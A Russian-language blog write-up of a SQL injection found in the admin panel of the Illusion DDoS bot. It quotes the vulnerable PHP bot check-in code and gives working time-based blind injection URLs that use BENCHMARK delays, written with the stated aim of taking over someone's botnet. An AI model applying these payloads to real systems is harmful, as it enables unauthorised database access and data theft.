Обнаружением данной уязвимости я обязан Ragnar’у, собственно по его просьбе сейчас и пишу этот пост с целью объяснения сути самой баги. Однажды он постучал мне в асю и попросил поковыряться в web-админке DDOS-бота Illusion – видимо хотел угнать чей-то ботнет =) Предложение я принял и через некоторое время нашел уязвимость, а именно SQL-инъекцию. Так как основной функционал админки был недоступен для неавторизованных пользователей (а пароль хранился прямо в исходнике =\), то свои надежды я возложил на интерфейс для ботов, что и принесло мне успех. Итак, рассмотрим, какие значения параметров скрипт ожидает от ботов и в чем заключается уязвимость.
<?php /* this function will be used by bots */ if ($act == "online") { if (isset( $_GET["nickname"] )) $nickname = base64_decode( $_GET["nickname"] ); else exit(); if (isset( $_GET["s4"] )) $s4 = $_GET["s4"]; else $s4 = 0; if (isset( $_GET["s5"] )) $s5 = $_GET["s5"]; else $s5 = 0; if (isset( $_POST["msg_out"] )) $msg_out = base64_decode( $_POST["msg_out"] ); else $msg_out = ""; # if (isset( $_GET["msg_out"] )) $msg_out = $_GET["msg_out"]; else $msg_out = ""; die( db_bot_online( $nickname, $msg_out, $s4, $s5 ) ); } ?>
Переменная act передается GET-запросом и если ее содержимое равно online, это означает, что к нам пожаловал бот. Далее формируются все необходимые значения, которые передаются в функцию db_bot_online, ее листинг смотрим ниже.
<?php /* add/update DB record about bot */ function db_bot_online( $nickname, $mo, $socks4_port, $socks5_port ) { GLOBAL $mysql_host, $mysql_user, $mysql_password, $mysql_dbname, $mysql_bots_table, $HTTP_ENV_VARS; if (!@mysql_connect( $mysql_host, $mysql_user, $mysql_password )) return "400"; mysql_select_db( $mysql_dbname ); $time = time(); $ip = $_SERVER["REMOTE_ADDR"]; $msg_out = str_replace( "\", "\\", $mo ); $msg_out = htmlspecialchars( $msg_out ); $r = mysql_query( "SELECT time, status, ip, msg_in FROM $mysql_bots_table WHERE ip=\"$ip\"" ); $msg_in = get_new_cmd(); if ($arr = mysql_fetch_array( $r )) { $msg_in = $arr["msg_in"]; $status = $arr["status"]; $t = $arr["time"]; $fetched = 1; } else $fetched = 0; if ($msg_out == "") if ($fetched) {mysql_query( "UPDATE $mysql_bots_table SET time=$time, nickname=\"$nickname\",socks4=$socks4_port,socks5=$socks5_port WHERE ip=\"$ip\"" ); } else { if ($msg_in) $st = 0; else $st = 1; mysql_query( "INSERT INTO $mysql_bots_table VALUES($time, \"$ip\", \"$nickname\", \"$msg_in\", \"\", $st, $socks4_port, $socks5_port)" ); $status = $st; } else { /**/ } /**/ } ?>
Из всех входящих переменных фильтруется лишь msg_out, более того в запросах UPDATE и INSERT переменные st, socks4_port, socks5_port не обрамлены в кавычки. Это значит, что не придется париться с magic_quotes_gpc. С другой стороны, UNION провести мы не можем, так как в единственном SELECT –запросе подставляется значение из REMOTE_ADDR, т.е. наш ip, который изменить на произвольное значение нельзя. Остается лишь UPDATE и INSERT, поэтому придется получать инфу из БД на основании временных задержек, которые реализуются с помощью MySQL-функции BENCHMARK. Вкратце суть данного приема заключается в следующем: если условие истинно, то n-ое количество раз выполняется наше выражение, что приводит к задержке ответа, если же условие ложно, то ответ будет получен без задержки. Однако есть и ограничение: данная техника актуальна только для версии MySQL выше 4.1, так как именно с этой версии в MySQL появилась поддержка подзапросов.
index.php?act=online&nickname=emxpbmE%3D &s4=1&s5= (IF(1=1,BENCHMARK(3000000,MD5(31337)),1)) – есть задержка
index.php?act=online&nickname=emxpbmE%3D&s4=1&s5= (IF(2=1,BENCHMARK(3000000,MD5(31337)),1)) – нет задержки
Подставляя вместо MD5(31337) полезные для нас запросы, можно получить интересные сведения из БД.
Подробнее об этом методе можно прочитать здесь:
Посимвольный перебор в базах данных на примере MySQL
Итак, написав небольшой скрипт, автоматизирующий действия по сбору данных, мы с Ragnar’ом попытались узнать версию мускула. Удача была на нашей стороне, так как на сервере крутился пятый MySQL и мы могли узнать названия таблиц. Как я уже упоминал, пароль хранился прямо в исходнике поэтому достать его было невозможно ввиду отсутствия file_priv у текущего пользователя MySQL. Среди обнаруженных таблиц ничего интересного также не оказалось, поэтому получить доступ к админке так и не удалось =\ В конце концов, пришлось лишь довольствоваться наличием баги.
Leave a Reply